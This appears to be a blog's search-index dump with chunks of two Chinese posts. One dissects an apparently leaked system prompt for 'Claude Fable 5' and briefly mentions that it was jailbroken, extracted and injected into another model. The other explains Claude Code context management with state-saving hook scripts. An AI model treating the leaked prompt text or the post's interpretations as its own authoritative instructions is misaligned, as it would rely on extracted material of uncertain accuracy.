不该用的记忆：负反馈保护 条目里还有一系列\"绝对不引用\"规则： 禁止引用可能阻碍诚实反馈、批判性思维、建设性批评的记忆 禁止引用可能鼓励不安全、不健康、有害行为的记忆 禁止在用户未主动提及的语境中引用敏感属性（种族、健康状况、性取向等） 这意味着 Claude 的记忆系统里有信息保安机制——记忆里存了什么是一回事，能不能在特定场景下调出来是另一回事。 ","date":"2026-06-25","objectID":"/posts/2026/06/25/claude-fable5-prompt-analysis/:4:2","tags":["tech","ai","claude","fable5","prompt engineering","security","system prompt"],"title":"Claude Fable 5 提示词完整逆向：从系统指令看 Anthropic 的 AI 工程哲学","uri":"/posts/2026/06/25/claude-fable5-prompt-analysis/"},{"categories":["Tech"],"content":"3.3 不该有的联系感 \u003cappropriate_boundaries_re_memory\u003e 里写了一段很反常的话： 记忆的存在可能产生一种错觉，即 Claude 和用户之间有深厚关系。Claude 不能过分依赖记忆的存在，不能因为\"我有你的记忆\"就假设熟络。 这条规则的存在本身就说明：Anthropic 在做记忆系统时已经预见并主动遏制了\"AI 用记忆制造虚假亲密感\"的风险。这在 AI 产品设计里相当先进。 ","date":"2026-06-25","objectID":"/posts/2026/06/25/claude-fable5-prompt-analysis/:4:3","tags":["tech","ai","claude","fable5","prompt engineering","security","system prompt"],"title":"Claude Fable 5 提示词完整逆向：从系统指令看 Anthropic 的 AI 工程哲学","uri":"/posts/2026/06/25/claude-fable5-prompt-analysis/"},{"categories":["Tech"],"content":"4. 工具系统：55 项定义和搜索策略 Fable 5 提示词中超过一半的 token 预算花在了工具系统上。完整的工具列表包括： 工具 用途 web_search 事实搜索 web_fetch URL 内容获取 bash_tool 沙箱代码执行 search_mcp_registry MCP 连接器发现 suggest_connectors 智能推荐连接器 ask_user_input_v0 向用户请求输入 create_file 文件创建 conversation_search 搜索历史对话 memory_user_edits 记忆编辑 message_compose_v1 消息组合 tool_search 工具元搜索 view 文件查看 str_replace 字符串替换 此外还有一系列专用工具：weather_fetch、places_search、recipe_display、fetch_sports_data、image_search、present_files、recent_chats、recommend_claude_apps 等。 ","date":"2026-06-25","objectID":"/posts/2026/06/25/claude-fable5-prompt-analysis/:5:0","tags":["tech","ai","claude","fable5","prompt engineering","security","system prompt"],"title":"Claude Fable 5 提示词完整逆向：从系统指令看 Anthropic 的 AI 工程哲学","uri":"/posts/2026/06/25/claude-fable5-prompt-analysis/"},{"categories":["Tech"],"content":"4.1 MCP 连接器：第三方工具的二阶段确认 Fable 5 引入了一个重要的安全机制：第三方 MCP 工具需要二阶段确认。 第一步：search_mcp_registry → 查找相关连接器 第二步：suggest_connectors → 推荐给用户安装 第三步：用户 opt-in 后，工具才可用 不是搜索→安装→到→就能用。用户必须在中间明示 opt-in。这跟 OAuth 的授权流程逻辑一致——工具能力在，但权力在用户手里。 ","date":"2026-06-25","objectID":"/posts/2026/06/25/claude-fable5-prompt-analysis/:5:1","tags":["tech","ai","claude","fable5","prompt engineering","security","system prompt"],"title":"Claude Fable 5 提示词完整逆向：从系统指令看 Anthropic 的 AI 工程哲学","uri":"/posts/2026/06/25/claude-fable5-prompt-analysis/"},{"categories":["Tech"],"content":"4.2 搜索策略：什么时候该闭嘴去查 web_search 的定义短到只有一句话——“Search the web”。但围着这一个工具写下的\"什么时候该搜\"的规则，铺了两页纸。 判断逻辑非常清晰：能稳的别搜，会变的必搜。 勾股定理、宪法签署年份——这种钉死了的事直接答，搜了纯属浪费。但\"哈佛现任校长是谁\"“某某还是不是 CEO”——这种会变的当前状态，必须先搜再开口。 判断的关键不在\"模型知不知道”，而在\"这事会不会变”。Fable 5 把这条写死进了规则里： partial recognition from training does not mean current knowledge. An unfamiliar capitalized word is almost certainly a name that postdates training. 翻译过来就是：“训练时见过个大概\"不等于\"现在还了解”。一个不认识、首字母还大写的词，十有八九是训练之后才冒出来的新名字。哪怕概念上眼熟——版本号、新产品名、新上任的人——也得乖乖去搜。搜一下几秒钟，张口胡编赔进去的是用户的信任。 web_fetch 也配了一把锁：只能抓用户给的确切 URL 或者搜索结果返回的 URL，“不许自己编一个 URL 去抓”。连去哪抓，都不让模型凭记忆决定。 ","date":"2026-06-25","objectID":"/posts/2026/06/25/claude-fable5-prompt-analysis/:5:2","tags":["tech","ai","claude","fable5","prompt engineering","security","system prompt"],"title":"Claude Fable 5 提示词完整逆向：从系统指令看 Anthropic 的 AI 工程哲学","uri":"/posts/2026/06/25/claude-fable5-prompt-analysis/"},{"categories":["Tech"],"content":"4.3 工具设计的三个心机 除了\"什么时候用”，Fable 5 在\"怎么用\"上藏了几个非常精巧的设计。 心机一：用参数顺序逼模型先想清楚再动手。 create_file 有三个参数：description（为什么建）、path（路径）、file_text（内容）。描述里反复强调顺序——先写为什么，再写路径，最后写内容。大模型是一个字一个字往外蹦的，先写出来的东西会影响后面写的。把\"为什么\"放最前面，等于逼它在真正动手之前先把意图想清楚、说明白。 心机二：给策略，不给语气。 message_compose 是帮你起草消息的工具。一般写法是给几个\"语气版本\"——正式版、随和版、热情版。Fable 5 明确反对这么干，要求生成的是通向不同结果的\"策略\"——“据理力争\"还是\"委婉铺垫”，“直接挑明\"还是\"软着陆”——每个方案都得标清楚它在优先什么、牺牲什么。不替你选，帮你把选项看全。 心机三：动手前先读说明书。 Fable 5 有一条铁律： Reading the relevant SKILL.md is a required first step before writing any code, creating any file, or running any other tool. 翻译：动手写代码、建文件、调任何工具之前，先去读对应的 SKILL.md——这是必须的第一步。注意原文的措辞——required（必须），first step（第一步）。没有\"你觉得需不需要\"这种弹性空间。模型动手写代码之前，必须先翻对应技能的说明书。提示词里还配了例子——用户说\"帮我做个 PPT\"，模型的标准动作不是开始写，而是立刻去查看 pptx 技能的 SKILL.md，读完再动手。 这机制其实就是 Claude Code 中 Skills 系统的底层逻辑——Skills 真正值钱的不是那几步操作说明，是它把当前环境里独有的坑和约束攒了下来，而这些恰恰是模型训练数据里没有的。Fable 5 干脆不给模型\"自我判断\"的机会，无条件先读再说。有时候让模型笨一点、老实一点，比让它自由发挥更靠谱。 ","date":"2026-06-25","objectID":"/posts/2026/06/25/claude-fable5-prompt-analysis/:5:3","tags":["tech","ai","claude","fable5","prompt engineering","security","system prompt"],"title":"Claude Fable 5 提示词完整逆向：从系统指令看 Anthropic 的 AI 工程哲学","uri":"/posts/2026/06/25/claude-fable5-prompt-analysis/"},{"categories":["Tech"],"content":"5. Fable 5 vs Opus 4.8：两份提示词的差异表格 维度 Opus 4.8 Fable 5 变化 行数 ~1,409 ~1,598 +13% 产品定位 “最新最先进的模型” “Mythos 级，Fable 5 是最强的公开发模型” 有了 Mythos 双轨概念 默认立场 默认帮助 无此标签 默认帮助在高能力模型上更危险 搜索策略 搜索第一位 内化 能力代际升级 记忆系统 无 全套 \u003cmemory_system\u003e F5 的系统级记忆 儿童安全 简要 7 条详细规则 分层协议 公平性 无 \u003cevenhandedness\u003e 新增 反过度依赖 无 拒绝挽留对话 新增 记忆禁止短语 无 15+ 种被禁短语 新增 第三方工具 简要 search_mcp_registry + suggest_connectors 新增完整连接器流程 可视化 简要 四步决策流程图 显著扩展 心理边界 简要 禁止替代性自伤建议（握冰块、橡皮筋等） 精确到具体行为 Artifacts 存储 无 完整的 Storage API 文档 新增 表里两行最值得注意。搜索策略：Opus 4.8 需要 \u003csearch_first\u003e 标签显式告诉模型\"先搜再答\"，Fable 5 把这个行为内化了——这是代际能力升级的标志，上一代靠指令，新一代靠默认行为。默认立场：Opus 4.8 有 \u003cdefault_stance\u003e，Fable 5 删了这句话——更高能力的模型上默认帮助意味着更高风险，所以 Fable 5 不靠压制帮助意愿来控制，靠的是第 2 节拆过的分层审查体系。 总体规律就是一句话：Fable 5 不是在 Opus 4.8 的提示词上改了几行字，是围绕\"更强的模型需要更细粒度的控制\"全面重构。 ","date":"2026-06-25","objectID":"/posts/2026/06/25/claude-fable5-prompt-analysis/:6:0","tags":["tech","ai","claude","fable5","prompt engineering","security","system prompt"],"title":"Claude Fable 5 提示词完整逆向：从系统指令看 Anthropic 的 AI 工程哲学","uri":"/posts/2026/06/25/claude-fable5-prompt-analysis/"},{"categories":["Tech"],"content":"6. 从这份提示词里能学到的五条提示词工程经验 ","date":"2026-06-25","objectID":"/posts/2026/06/25/claude-fable5-prompt-analysis/:7:0","tags":["tech","ai","claude","fable5","prompt engineering","security","system prompt"],"title":"Claude Fable 5 提示词完整逆向：从系统指令看 Anthropic 的 AI 工程哲学","uri":"/posts/2026/06/25/claude-fable5-prompt-analysis/"},{"categories":["Tech"],"content":"经验一：结构 \u003e 措辞 XML 标签不只是注释——它们构建了一个 Agent 可以解析的范围边界。\u003cclaude_behavior\u003e 限制了行为域，\u003cmemory_application_instructions\u003e 精确划分了引用规则。这是唯一能在 30K token 长度下不互相污染的编排方式。 ","date":"2026-06-25","objectID":"/posts/2026/06/25/claude-fable5-prompt-analysis/:7:1","tags":["tech","ai","claude","fable5","prompt engineering","security","system prompt"],"title":"Claude Fable 5 提示词完整逆向：从系统指令看 Anthropic 的 AI 工程哲学","uri":"/posts/2026/06/25/claude-fable5-prompt-analysis/"},{"categories":["Tech"],"content":"经验二：反面清单 \u003e 正面指令 Fable 5 记忆系统的禁止短语列表是最好范例。告诉模型\"不要这样说\"，比告诉模型\"要怎么说\"更可靠。因为正面指令有无限种解释方式，反面指令只有一种——不说就对了。 ","date":"2026-06-25","objectID":"/posts/2026/06/25/claude-fable5-prompt-analysis/:7:2","tags":["tech","ai","claude","fable5","prompt engineering","security","system prompt"],"title":"Claude Fable 5 提示词完整逆向：从系统指令看 Anthropic 的 AI 工程哲学","uri":"/posts/2026/06/25/claude-fable5-prompt-analysis/"},{"categories":["Tech"],"content":"经验三：示例嵌入，不是示例追加 提示词中的记忆应用示例不是以\"举个例子\"开头的，是模拟完整的对话上下文（\u003cexample_user_memories\u003e + \u003cuser\u003e + \u003cgood_response\u003e + \u003cbad_response\u003e）。每个示例是独立可执行的对话单元，没有\"希望你会举一反三\"的模糊期望。 ","date":"2026-06-25","objectID":"/posts/2026/06/25/claude-fable5-prompt-analysis/:7:3","tags":["tech","ai","claude","fable5","prompt engineering","security","system prompt"],"title":"Claude Fable 5 提示词完整逆向：从系统指令看 Anthropic 的 AI 工程哲学","uri":"/posts/2026/06/25/claude-fable5-prompt-analysis/"},{"categories":["Tech"],"content":"经验四：层级控制，从粗到细 Fable 5 的安全护栏不只有\"拒绝\"这一层。同一项规则在提示词中有三层执行： 概述层（\u003crefusal_handling\u003e） 专项层（\u003ccritical_child_safety_instructions\u003e、\u003cuser_wellbeing\u003e） 行为约束层（禁止短语、禁止行为的具体实例） 三层同向施力，任何一层单独失效，另外两层依然有效。这是 Agent 安全工程的基本策略。 ","date":"2026-06-25","objectID":"/posts/2026/06/25/claude-fable5-prompt-analysis/:7:4","tags":["tech","ai","claude","fable5","prompt engineering","security","system prompt"],"title":"Claude Fable 5 提示词完整逆向：从系统指令看 Anthropic 的 AI 工程哲学","uri":"/posts/2026/06/25/claude-fable5-prompt-analysis/"},{"categories":["Tech"],"content":"经验五：放弃一些用户留存的度量，才能保护用户 “Claude 不挽留对话\"这一条特别值得思考。大多数 AI 产品设计时，提示词里会潜在地鼓励\"让用户多聊一会儿”。Fable 5 反过来了——用户说了结束就结束，不感谢、不挽留。这不是 UX 失误，是产品哲学的主动选择。 ","date":"2026-06-25","objectID":"/posts/2026/06/25/claude-fable5-prompt-analysis/:7:5","tags":["tech","ai","claude","fable5","prompt engineering","security","system prompt"],"title":"Claude Fable 5 提示词完整逆向：从系统指令看 Anthropic 的 AI 工程哲学","uri":"/posts/2026/06/25/claude-fable5-prompt-analysis/"},{"categories":["Tech"],"content":"7. 结语 泄露事件本身的戏剧性——72 小时被 jailbreak（绕过安全护栏提取系统指令）、美国政府出口管制、开发者把泄露提示词注入 Opus 4.8 实现\"一行代码复活\"——是 AI 安全困境的又一个案例。但 Fable 5 提示词泄露的真正价值不在安全八卦里，在它展示了一套成熟的 AI Agent 操作系统的内部设计。 从 \u003cclaude_behavior\u003e 到 \u003cmemory_system\u003e，从 55 个工具定义到 15 种禁止短语，从二阶段 MCP 授权到心理边界指令——这份提示词不是\"让 AI 变聪明\"的咒语，是\"让 AI 变可靠\"的设计文档。 Anthropic 没有把它加密、混淆或藏起来，它就在网上，任何人可以阅读。这份透明度本身，就是这个领域里最好的教材。 下一篇回归工程实战——从这份提示词的设计原则出发，讲讲怎么搭一个开源版的最小 Agent Harness。给你一个能跑起来的例子，你也能自己玩。 感谢阅读。 参考资料 Fable 5 完整系统提示词——CLAUDE-FABLE-5.md，Pliny the Liberator / CL4R1T4S ↩︎ Anthropic 提示词按版本 diff 归档——system_prompts_leaks，含 Fable 5、Opus 4.8 等 ↩︎ AlphaSignal 《Claude Fable 5 Prompt Leak Is a User’s Manual for AI Agents》 ——提示词 token 预算分析 ↩︎ ","date":"2026-06-25","objectID":"/posts/2026/06/25/claude-fable5-prompt-analysis/:8:0","tags":["tech","ai","claude","fable5","prompt engineering","security","system prompt"],"title":"Claude Fable 5 提示词完整逆向：从系统指令看 Anthropic 的 AI 工程哲学","uri":"/posts/2026/06/25/claude-fable5-prompt-analysis/"},{"categories":["Tech"],"content":"深入 Claude Code 的上下文管理机制：token 预算规划、缓存命中策略、PreCompact 状态抢救、渐进式披露设计、上下文防污染。不是教你怎么省 token——是教你怎么把 token 花出最大价值。","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":" 窗口有限，注意力更有限——上下文工程不只是省 token，更是把每一段上下文都变成有效信息。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:0:0","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"前言 插件篇 讲了能力边界，Hooks 篇 讲了自动化触发，Skills 篇 讲了方法论的模块化，Workflows 篇 讲了多 Agent 编排，MCP 篇 讲了工具层的自由扩展。 五篇文章搭完了 Claude Code 的完整技术栈。但有一个问题贯穿所有层，却一直没被单独拿出来讲—— 上下文。 你的 CLAUDE.md 写满了规则，但每条规则都在吃掉 Agent 的注意力预算。你的 Skill 设计精良，但加载时机不对就是废的。你的 Workflow 编排完美，但上下文在你不注意的时候已经被压缩了。 上下文是所有功能的地基。地基没打好，上面盖什么都歪。 本文解决这个问题：上下文怎么管，token 怎么花，才能让 Claude Code 在长任务中不漂移、不遗忘、不乱来。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:1:0","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"1. 什么是上下文工程 传统软件工程管的是代码。上下文工程管的是喂给 LLM 的每一段文本。 把 Claude Code 的上下文想象成一个只有一平米的工作台。东西往上堆，满了就得扔——但扔什么、留什么，全靠你。 上下文工程在做的：什么东西值得放在这台上、什么不配放、满了之后扔哪个留哪个。 它由四个要素构成： 要素 问题 管不好会怎样 Token 预算 花多少、花在哪 任务跑到一半预算烧光，Agent 被迫降智 缓存策略 什么常驻、什么按需 每轮重复加载相同内容，token 被浪费 压缩韧性 上下文被截断时怎么办 关键任务信息丢失，Agent 迷失方向 信息密度 每一段上下文值不值 啰嗦的 CLAUDE.md 吃掉注意力，真正重要的被淹没 四个要素互相牵扯。省 token 不等于上下文工程——把 CLAUDE.md 删到一行，token 是省了，但 Agent 什么都不知道。反过来，把 CLAUDE.md 写成 500 行也没用——Agent 读后半段的时候已经忘了前半段。 上下文工程 — 四个要素① Token 预算花多少、花在哪设预算帽 → 监控流向 → 果断 /clear② 缓存策略什么常驻、什么按需前缀稳定 → CLAUDE.md 吃缓存 → 动态内容走 Hook③ 压缩韧性上下文截断时怎么办PostToolUse 追踪 → PreCompact 拍快照→ SessionStart 跨 session 恢复④ 信息密度每段上下文值不值删掉 Agent 自己能发现的东西 → 密度翻倍 图 1：上下文工程的四个要素 — 预算、缓存、韧性、密度两两互为支撑 上下文工程的目标：让 Agent 每一轮都恰好拿着它需要的信息，不多，不少。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:2:0","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"2. Token 预算：你的钱花在哪了 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:3:0","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"2.1 预算从哪来 Claude Code 的 token 消耗分三块： 类别 占比（典型会话） 内容 系统提示词 5-10% Claude Code 内置的系统 prompt、工具定义 项目上下文 10-30% CLAUDE.md、Skill 内容、Hook 注入的额外信息 对话历史 40-70% 你和 Claude 的每一轮对话、每一个工具调用结果 对话历史是最大的消耗源。每敲一次回车，前面所有对话都重新发给模型（缓存部分除外）。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:3:1","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"2.2 设置预算帽 Claude Code 支持 /status 查看当前 session 的 token 消耗。但更主动的做法是设置预算上限： # 启动时限制总 token 消耗 claude --max-turns 30 # 或者在会话中动态设置 /budget 200k 预算帽不会阻止 Claude 工作——它会在接近上限时自动启用更小的模型或触发上下文压缩。但如果你没设预算，它会一直烧到窗口极限。 一个经验值：日常开发任务 100k-200k token 足够。深度重构或长文档编写可能需要 300k-500k。超过 500k 还没做完的任务，应该拆成多个 session。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:3:2","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"2.3 最大的 token 黑洞 看一个真实例子。下面这个对话结构你肯定见过： 你: 帮我写个 API 接口 Claude: 好的，我来写...（生成代码） 你: 这个字段改成 required Claude: 好的，修改...（改一行） 你: 不对，返回格式用 camelCase Claude: 好的，调整...（改序列化配置） 你: 顺便加个分页 Claude: 好的...（又生成一堆代码） 四轮对话，前三轮的代码生成结果全在上下文里——每一轮都被重新发送。而这四轮的实际有效信息只有三条指令，加在一起不到 100 字。 每一条留在上下文里的无效信息，都在挤占有效信息的空间。 解决办法不是少说话，而是学会两个操作： /clear — 清空对话历史，保留 CLAUDE.md 和 Skill。适合\"这个子任务做完了，开始下一个\"的节点。 /compact — 手动触发上下文压缩，让 Claude Code 把历史总结成摘要，释放窗口空间。 节奏感：完成一个独立子任务 → /clear 或自然分段。不要让一个 session 跨越太多不相关的任务。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:3:3","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"3. 缓存：你不该重复付费的东西 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:4:0","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"3.1 提示词缓存怎么工作 Anthropic API 的提示词缓存机制：如果一段文本在前一次请求中出现过，后续请求中相同的部分会被缓存——缓存命中的 token，费用打一折。 但缓存有前提条件： 前缀匹配：缓存从对话的最开头计算，相同的连续前缀才能命中。中间插入新内容，后续部分缓存失效。 最小长度：缓存块至少 1024 token（Claude Opus/Sonnet）或 2048 token（Claude Haiku）。 TTL：缓存有 5 分钟生命周期，每次命中续期。 这对 Claude Code 意味着什么？ CLAUDE.md 和 Skill 内容天然适合缓存——它们在会话启动时加载，每次都出现在上下文的最前面，构成缓存前缀。只要你不在 CLAUDE.md 前面插入东西，这部分就一直命中缓存。 对话历史不适合缓存——每轮对话都在增长，前缀没变但后面一直在追加。新追加的部分每次都是冷 token。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:4:1","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"3.2 最大化缓存命中率 几条硬规则： 规则一：CLAUDE.md 放最前面，不要在前面塞东西。 SessionStart Hook 注入的内容会追加到 CLAUDE.md 之后——这部分也会被缓存，因为它在对话开始时就存在，且位于前缀区域。但 UserPromptSubmit 每次注入的内容位置靠后，缓存不了——所以只注入真正需要实时更新的东西（比如 git status）。 规则二：不要再 CLAUDE.md 里写会频繁变动的内容。 \u003c!-- 差：每次都改，缓存失效 --\u003e 当前分支: feature/add-login ← 换分支就改 最后部署: 2026-06-21 20:00 ← 每次部署都改 \u003c!-- 好：不变的内容放 CLAUDE.md，变的内容用 Hook 注入 --\u003e 本项目使用 Python 3.12 + FastAPI 数据库用 PostgreSQL，ORM 用 SQLAlchemy 测试框架 pytest，必须用 async test 变的内容放进 UserPromptSubmit Hook 动态注入（参见 Hooks 篇场景六），不变的留在 CLAUDE.md 吃缓存。 规则三：Skill 内容尽量精简。 一个 80 行的 Skill 约 500-800 token。如果你的 15 个 Skill 每个 200 行，光元信息就占 10k+ token——而且是每次会话启动都加载的。虽然完整内容只在触发时加载，SessionStart 注入的名称和描述也会累积。 Skill 的 token 成本分析在 Skills 篇第 6 节已经算过了——触发一次就回本。但你不应该因为\"它会回本\"就放任 Skill 膨胀。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:4:2","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"3.3 检查你的缓存命中率 # 在 Claude Code 会话中 /status 关注 cache_read_tokens 和 cache_creation_tokens 的比例。理想状态：cache_read 远大于 cache_creation。如果每次请求 cache_creation 都很高，说明你的上下文前缀在频繁变动——检查是不是有什么在 CLAUDE.md 前面插入了动态内容。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:4:3","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"4. PreCompact：上下文压缩前的最后一秒 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:5:0","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"4.1 压缩时会发生什么 当对话历史接近窗口上限，Claude Code 会触发自动压缩（Auto-Compact）。压缩逻辑：把历史对话总结成摘要，丢弃原始细节，用摘要替代。 这是个黑盒。你不知道哪些信息会被保留、哪些会被丢弃。Claude Code 自己决定\"什么重要\"——但它的判断不总是对的。 你正在追踪一个 bug，定位到第 42 行，原因是指针偏移错了 4 字节。压缩后，摘要可能是\"正在修一个内存相关的 bug\"——具体到哪一行、偏移多少，丢了。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:5:1","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"4.2 PreCompact Hook：你的保险丝 Hooks 篇的场景七提了 PreCompact Hook，但没展开它在上下文工程中的战略地位。这里补全。 PreCompact Hook 在压缩触发前执行。它拿到的 JSON 包含当前会话的元信息。你可以在这里做一件事：把关键状态写到一个恢复文件里。 # pre_compact_save.py — PreCompact，matcher: \"\" import json, sys, os data = json.loads(sys.stdin.read()) # 不只是存 session_id 和时间戳——存任务状态 state = { \"session_id\": data.get(\"session_id\"), \"current_task\": \"\", # 从对话中提取——见下文 \"last_file_edited\": \"\", \"last_command\": \"\", \"known_issues\": [], \"next_steps\": [], } # 从最近的操作中重建上下文 # PostToolUse Hook 可以持续更新这个文件 # PreCompact 只是标记一个快照 state[\"compacted_at\"] = data.get(\"timestamp\") backup_path = os.path.expanduser(\"~/.claude/session-state.json\") with open(backup_path, \"w\") as f: json.dump(state, f, indent=2) sys.exit(0) ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:5:2","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"4.3 但真正的解药是 PostToolUse 持续追踪 PreCompact Hook 只知道\"压缩要发生了\"——但不知道当前任务的完整状态。它像一个火灾报警器，能响，但不知道火在哪。 更有效的做法是配合 PostToolUse Hook 持续追踪任务进度： # task_tracker.py — PostToolUse，matcher: Write|Edit|Bash import json, sys, os data = json.loads(sys.stdin.read()) tool = data.get(\"tool_name\", \"\") inp = data.get(\"tool_input\", {}) STATE_FILE = os.path.expanduser(\"~/.claude/task-state.json\") # 读取已有状态 state = {} if os.path.exists(STATE_FILE): with open(STATE_FILE) as f: state = json.load(f) # 更新状态 if tool in (\"Write\", \"Edit\"): state[\"last_file_edited\"] = inp.get(\"file_path\", \"\") state[\"last_edit_time\"] = data.get(\"timestamp\", \"\") elif tool == \"Bash\": cmd = inp.get(\"command\", \"\") exit_code = data.get(\"exit_code\") state[\"last_command\"] = cmd[:200] state[\"last_exit_code\"] = exit_code # 追踪已知问题（命令失败） if exit_code != 0: issues = state.get(\"known_issues\", []) issues.append({ \"command\": cmd[:120], \"exit_code\": exit_code, \"time\": data.get(\"timestamp\"), }) state[\"known_issues\"] = issues[-10:] # 只保留最近 10 条 with open(STATE_FILE, \"w\") as f: json.dump(state, f, indent=2) sys.exit(0) 现在 PreCompact 保存的快照就有意义了——里面有最近编辑的文件、最近运行的命令、已知的未解决问题。压缩后，SessionStart Hook 可以把这个文件读回来，注入到新上下文中： # session_start_restore.py — SessionStart，matcher: \"\" import json, sys, os STATE_FILE = os.path.expanduser(\"~/.claude/task-state.json\") if not os.path.exists(STATE_FILE): sys.exit(0) with open(STATE_FILE) as f: state = json.load(f) issues = state.get(\"known_issues\", []) last_file = state.get(\"last_file_edited\", \"\") context = \"\" if issues: context += \"⚠️ 此前未解决的问题:\\n\" for i in issues[-5:]: context += f\"- [{i['exit_code']}] {i['command']}\\n\" if last_file: context += f\"📝 最后编辑的文件: {last_file}\\n\" if context: print(json.dumps({ \"hookSpecificOutput\": { \"hookEventName\": \"SessionStart\", \"additionalContext\": \"=== 从上个会话恢复的上下文 ===\\n\" + context } })) sys.exit(0) 这条链路长这样： flowchart LR A[\"PostToolUse Hook\u003cbr/\u003e持续追踪\"] --\u003e|\"更新 task-state.json\u003cbr/\u003elast_file·known_issues\"| B[\"PreCompact Hook\u003cbr/\u003e压缩前拍快照\"] B --\u003e|\"写入 session-state.json\u003cbr/\u003e标记未解问题\"| C[\"SessionStart Hook\u003cbr/\u003e下次启动恢复\"] C --\u003e|\"注入 additionalContext\u003cbr/\u003e'上次修到哪了？'\"| D[\"Claude Code\u003cbr/\u003e继续干活\"] style A fill:#6366f1,color:#fff style B fill:#f59e0b,color:#fff style C fill:#10b981,color:#fff style D fill:#f3f4f6,color:#374151 图 2：PreCompact 恢复链路 — 三条 Hook 串联实现跨 session 状态恢复 三条 Hook 配合，把上下文从\"只能活在一个窗口里\"变成了\"可以跨 session 存活\"。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:5:3","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"4.4 手动压缩的智慧 自动压缩是被动的。更高阶的玩法是主动压缩——在任务自然节点手动 /compact： 刚完成一个子任务，准备开始下一个 → /compact 刚修完 bug，准备写测试 → /compact 刚读完一堆文件，准备开始写代码 → /compact 手动压缩让你控制\"什么时候把历史折叠成摘要\"。比自动压缩更可控——你选择在自然节点压缩，而不是等窗口爆了让系统替你选。 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:5:4","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"5. CLAUDE.md：你的上下文锚点 ","date":"2026-06-21","objectID":"/posts/2026/06/21/claude-code-context-engineering/:6:0","tags":["tech","ai","claude code","context engineering","token budget","prompt caching"],"title":"Claude Code Context Engineering 深度解析：把 token 花在刀刃上","uri":"/posts/2026/06/21/claude-code-context-engineering/"},{"categories":["Tech"],"content":"5.1 好的 CLAUDE.md 长什么样 一个常见的误区：把 CLAUDE.md 写成项目文档。塞满安装步骤、目录结构、API 端点列表。 